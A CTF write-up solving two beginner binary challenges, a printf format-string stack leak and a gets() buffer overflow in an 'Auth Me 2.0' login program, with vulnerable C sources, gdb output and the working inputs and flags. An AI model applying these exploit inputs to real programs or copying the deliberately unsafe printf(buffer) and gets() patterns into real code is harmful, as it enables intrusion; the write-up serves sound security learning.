SKR CTF Write-up

Name / Nickname : Ariff / Rydzze

Challenge Category : Binary

Challenge Name : Format String / Auth Me 2.0

SKR User / Team : rydzze / Sternritter

n3wbees / N3WBEES

**challenges was solved using 2nd account because I forgot the webshell login credential for 1st account*

Challenge : Format String

📚 Overview

Format string is one of the common vuln in Binary, see can you leak the flag out of it. You can find the program and source code in our web shell.

🤔 Hint

- What happen when u put ur name as **%x** ?
- The flag is put somewhere at the stack, how to leak it?
- Hope this video helps.

⚙️ Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define FLAGSIZE 128
#define BUFSIZE 64

void vuln()

{
        char flag[FLAGSIZE];
        FILE *f = fopen("flag.txt","r");
        fgets(flag,FLAGSIZE,f);
        char buffer[BUFSIZE];

        printf("What's is your name? ");
        fgets(buffer, BUFSIZE, stdin);
        printf("Welcome! ");
        printf(buffer);
        printf("Now what?");
}

int main(int argc, char **argv)
{
        setvbuf(stdout, NULL, _IONBF, 0);
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
        printf("Format String is also a common vulnerability\n");
        printf("Now I give you a vulnerable function\n");
        printf("Can you leak the flag out?\n");

        vuln();
}
```

✨ Solution

When we look at the source code, we can see that the gets function is vulnerable to format string attacks. So, what we can do is pass it a string **`%x`** to read the stack.

We know that the header of the flag, **`SKR{`** is **`534b527b`** in hex. Thus, it should be easier for us to locate where is the flag in the stack.

In this case, I copied and compiled the source code, and ran it locally first with a fake flag, **`CTF{th1s_1s_f4k3_f14g_sorry_:D}`** (**`CTF{`** is **`4354467b`** in hex) stored in flag.txt.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ gcc format.c -o format -fno-stack-protector
format.c: In function ‘main’:
format.c:31:9: warning: implicit declaration of function ‘setresgid’; did you mean ‘setregid’? [-Wimplicit-function-declaration]
   31 |         setresgid(gid, gid, gid);
      |         ^~~~~~~~~
      |         setregid

┌──(kali㉿kali)-[~/Downloads]
└─$ python -c "print('%p '*32)" | ./format
Format String is also a common vulnerability
Now I give you a vulnerable function
Can you leak the flag out?
What's is your name? Welcome! 0x7ffd6009db10 (nil) (nil) (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 0x733168747b465443 0x336b34665f73315f 0x6f735f673431665f 0x7d443a5f797272 0x7f07a97fb000 0x7f07a964ebc9 0x7f07a97a2780 0x7f07a964f053 Now what?
```

After a long sequence of **`0x7025207025207025`** and etc., we found a hexadecimal number of **`0x733168747b465443`** and when we convert it into ASCII text string, the result is **`s1ht{FTC`** which is our flag stored in little endian format. Now we know the location (offset) of the flag starting at **`%14`** in the stack, we can print the actual flag in the server.

```
N3WBEES@server-skr:~/challenges/format_string$ ./format
Format String is also a common vulnerability
Now I give you a vulnerable function
Can you leak the flag out?
What's is your name? %14$p %15$p %16$p %17$p %18$p
Welcome! 0x6b34334c7b524b53 0x346c465f3368375f 0x535f6d3072665f47 0x6163395f4b633474 0x55007d373338
```

Rearrange it in big endian format and convert into ASCII text string.

Congratulation! You found the flag `:D`

🏳 Flag

`SKR{L34k_7h3_Fl4G_fr0m_St4cK_9ca837}`

Challenge : Auth Me 2.0

Overview

Due to some issue in version 1. We have upgraded Auth Me to 2.0, now no one can login as admin =). You can find the program and source code in our web shell.

Tips: Press ***`ctrl + shift + @`*** *to enter null character.*

Hint

- In C programming, it stop reading when it sees ____ terminating character?

Source Code

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void setup(){
  FILE *f = fopen("flag.txt","r");
  fgets(flag,FLAGSIZE_MAX,f);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
}

int main(int argc, char **argv){
  setup();
  char user[8];
  char pass[8];
  printf("Authenticate Me 2.0\n");
  printf("-------------------------------\n");
  printf("Enter your username: ");
  gets(user);
  if(strcmp(user,"admin") == 0){
    printf("Don't pretent you're admin =(\n");
    return 0;
  }
  printf("Enter your password: ");
  gets(pass);
  if(strcmp(user,"admin") == 0 && strcmp(pass,"admin") == 0){
    printf("Welcome admin! Here is your flag: %s",flag);
  }else if(strcmp(user,"user") == 0 && strcmp(pass,"user") == 0){
    printf("Welcome %s! You're authenticated!\n");
  }else{
    printf("Invalid Username %s or Password %s\n",user,pass);
    printf("Hint: Distance between user and pass is %i\n",user-pass);
  }
  return 0;
}
```

✨ Solution

In order to print the flag, we have to assign both `username` and `password` variables with "`admin`", but we have to pass the first if-else statement.

So, let's copy and compile the source code, and run it locally at first to see how does the programme work (make sure to create a flag.txt file before executing the programme).

```
┌──(kali㉿kali)-[~/Downloads]
└─$ gcc auth2.c -o auth2 -fno-stack-protector
auth2.c: In function 'setup':
auth2.c:14:15: warning: implicit declaration of function 'getegid' [-Wimplicit-function-declaration]
   14 |   gid_t gid = getegid();
      |               ^~~~~~~
auth2.c:15:3: warning: implicit declaration of function 'setresgid' [-Wimplicit-function-declaration]
   15 |   setresgid(gid, gid, gid);
      |   ^~~~~~~~~
auth2.c: In function 'main':
auth2.c:25:3: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   25 |   gets(user);
      |   ^~~~
      |   fgets
/usr/bin/ld: /tmp/ccO8Td3H.o: in function `main':
auth2.c:(.text+0x8f): warning: the `gets' function is dangerous and should not be used.

┌──(kali㉿kali)-[~/Downloads]
└─$ ./auth2
Authenticate Me 2.0
--------------------------------
Enter your username: user
Enter your password: pass
Invalid Username user or Password pass
Hint: Distance between user and pass is 8
```

The programme executed normally, and we got a hint that the distance between user and pass is 8. Hmmm, let's debug this programme using `gdb-peda` to understand it deeper.

```
[----------------------------------stack-----------------------------------]
0000| 0x7fffffffde10 --> 0x7fffffffdf48 --> 0x7fffffffe2b0 ("/home/kali/Downloads/auth2")
0008| 0x7fffffffde18 --> 0x100000000
0016| 0x7fffffffde20 --> 0x73736170 ('pass')
0024| 0x7fffffffde28 --> 0x72657375 ('user')
0032| 0x7fffffffde30 --> 0x1
0040| 0x7fffffffde38 --> 0x7ffff7df16ca (<__libc_start_call_main+122>:  mov    edi,eax)
0048| 0x7fffffffde40 --> 0x0
0056| 0x7fffffffde48 --> 0x555555555210 (<main>:        push   rbp)
[--------------------------------------------------------------------------]
Legend: code, data, rodata, value
```

So, I inserted the value for both `username` and `password` variables as previously and found that it is executing two lines of Assembly code that "calculate the effective memory address at a specific offset from the base pointer `rbp` and store it in the `rax` register" (*thanks ChatGPT for the explanation*), `lea rax,[rbp-0x8]` and `lea rax,[rbp-0x10]` for `username` and `password` variables respectively.

Considering the facts that user and pass is stored in 0024-0031 and 0016-0023 respectively, and the distance between user and pass is 8, we will exploit the gets function to pass the value into the memory through buffer overflow.

```
$ echo -e "\x0aadmin\x00\x00\x00admin" | ./auth2
```

We can use this command line to do it, pairing **`echo`** with **`pipeline`** to pass the text when we execute the programme and **`-e`** option enable interpretation of backslash escapes in the string. Starting from the end of the string, "**`admin`**" is the value that will be passed to the **`user`** variable, "**`\x00\x00\x00`**" act as padding to fill the **`char user[8]`** so that we can pass the second "**`admin`**" to the **`pass`** variable, and lastly "**`\x0a`**" is newline character to enter the data.

```
N3WBEES@server-skr:~/challenges/auth_me2$ echo -e "\x0aadmin\x00\x00\x00admin" | ./auth2
Authenticate Me 2.0
--------------------------------
Enter your username: Enter your password: Welcome admin! Here is your flag: SKR{C_St0p_rE4dinG_untIL_nuLL_6f3851}N3WB
EES@server-skr:~/challenges/auth_me2$
```

🏳 Flag

`SKR{C_St0p_rE4dinG_untIL_nuLL_6f3851}`